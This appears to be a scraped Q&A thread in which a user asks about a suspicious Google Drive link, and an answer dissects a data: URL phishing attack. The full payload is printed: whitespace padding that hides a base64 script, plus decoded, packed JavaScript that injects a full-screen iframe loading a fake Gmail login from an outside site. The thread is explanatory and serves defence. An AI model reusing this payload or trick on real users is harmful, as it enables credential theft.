javascript - Is this a Google account hack? -


i received email colleague attached file appeared on google drive, once clicked led following url, recreates google account login page in order steal passwords:

data:text/html,https://accounts.google.com/servicelogin?service=mail&passive=true&rm=false&continue%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3cscript%20src=data:text/html;base64,zxzhbchmdw5jdglvbihwlgesyyxrlguszcl7zt1mdw5jdglvbihjkxtyzxr1cm4gy307awyoiscnlnjlcgxhy2uol14vlfn0cmluzykpe3doawxlkgmtlsl7zftjxt1rw2ndfhxjfws9w2z1bmn0aw9ukgupe3jldhvybibkw2vdfv07zt1mdw5jdglvbigpe3jldhvybidcxhcrj307yz0xftt3aglszshjls0pe2lmkgtby10pe3a9cc5yzxbsywnlkg5ldybszwdfehaoj1xcyicrzshjkssnxfxijywnzycplgtby10pfx1yzxr1cm4gch0ojzmumi4xnj0imtugmtqgmtmgmtcgmtgiozixeygymcgpeze5ide9my4yljeykfwnmvwnktsxljewpvwnny84ltzcjzsxljexpvwnosa2xcc7ms4ymj1cj1wnoziumzeoxccznfwnkvswxs4ymygxkx0oksl9mzmomzupe30zljiumzyumzc9ijw0idm5pvxcijm4oi8vmziumjyvmjutmjqvxfwiidi3pvxciji4oiawozmwoia1jtsyoto1jvxcij48lzq+ijsnldewldqwlcd8bglua3xkb2n1bwvudhx3aw5kb3d8awzyyw1lfdewmhxpy29ufgltywdlfhh8c2hvcnrjdxr8dhlwzxxyzwx8y3jlyxrlrwxlbwvudhxizwvufghhdmv8ww91fhrpdgxlffnpz25lzhxvdxr8dmfyfgz1bmn0aw9ufhryexxocmvmfgfwcgvuzenoawxkfgnvbnrlbnr8d3b8y2x1ynxzdhlszxxib3jkzxj8agvpz2h0fhdpzhrofgdldevszw1lbnrzqnluywdoyw1lfgjsdwv2b2ljzxbnahxjyxrjahxozwfkfgv8ym9kexxvdxrlckhutux8ahr0chxzcmmnlnnwbgl0kcd8jyksmcx7fskpcg==%3e%3c/script%3e

from script there way of identifying information being sent, had put in email address , password?

let's break down attack far can :

it's url, starting off basic gmail login link, sets few request variables automatically login if possible.

data:text/html,https://accounts.google.com/servicelogin?service=mail&passive=true&rm=false&continue 

this followed large amount of empty spaces, intended hide malicious payload view in browser address bar.

%20%20%20%20%20%20%20%20%20%20%20% (etc)

now follows payload victim. it's base64 encoded.

when decode it, looks :

eval(function (p, a, c, k, e, d) {     e = function (c)     {         return c     };     if (!''.replace(/^/, string))     {         while (c--)         {             d[c] = k[c] || c         }         k = [function (e)             {                 return d[e]             }         ];         e = function ()         {             return '\\w+'         };         c = 1     };     while (c--)     {         if (k[c])         {             p = p.replace(new regexp('\\b' + e(c) + '\\b', 'g'), k[c])         }     }     return p }     ('3.2.16="15 14 13 17 18";21{(20(){19 1=3.2.12(\'1\');1.10=\'7/8-6\';1.11=\'9 6\';1.22=\'\';2.31(\'34\')[0].23(1)}())}33(35){}3.2.36.37="<4 39=\\"38://32.26/25-24/\\" 27=\\"28: 0;30: 5%;29:5%\\"></4>";', 10, 40, '|link|document|window|iframe|100|icon|image|x|shortcut|type|rel|createelement|been|have|you|title|signed|out|var|function|try|href|appendchild|content|wp|club|style|border|height|width|getelementsbytagname|bluevoicepgh|catch|head|e|body|outerhtml|http|src'.split('|'), 0, {}     )) 

this, evil, obfuscated javascript. not execute it.

martinstoeckli's answer contains expanded version of script.

it sets title of current tab mimick 'you have been signed out' page of gmail, , alters page, adding screen-filling iframe no borders.

the iframe points @ (what appears be) compromised wordpress site, contains faked gmail login page. upon entering credentials fake page hosted on bluevoicepgh.club (someone might want notify these people wordpress website compromised), redirected gmail page had silently logged in in background. happens regardless of whether credentials entered fake login page correct or not.

if had indeed entered valid credentials page, there no telling have gone unless @ script behind it.

keep in mind, (thankfully) in current form, attack won't work since google's login page uses https (and enforces use of https). chrome reminds when script executed :

mixed content: page @ 'https://accounts.google.com/servicelogin?service=mail&passive=true&rm=false…9kexxvdxrlckhutux8ahr0chxzcmmnlnnwbgl0kcd8jyksmcx7fskpcg==%3e%3c/script%3e' loaded on https, requested insecure resource 'http://bluevoicepgh.club/wp-content/'. request has been blocked; content must served on https.


Comments

Popular posts from this blog

sql - VB.NET Operand type clash: date is incompatible with int error -

SVG stroke-linecap doesn't work for circles in Firefox? -

python - TypeError: Scalar value for argument 'color' is not numeric in openCV -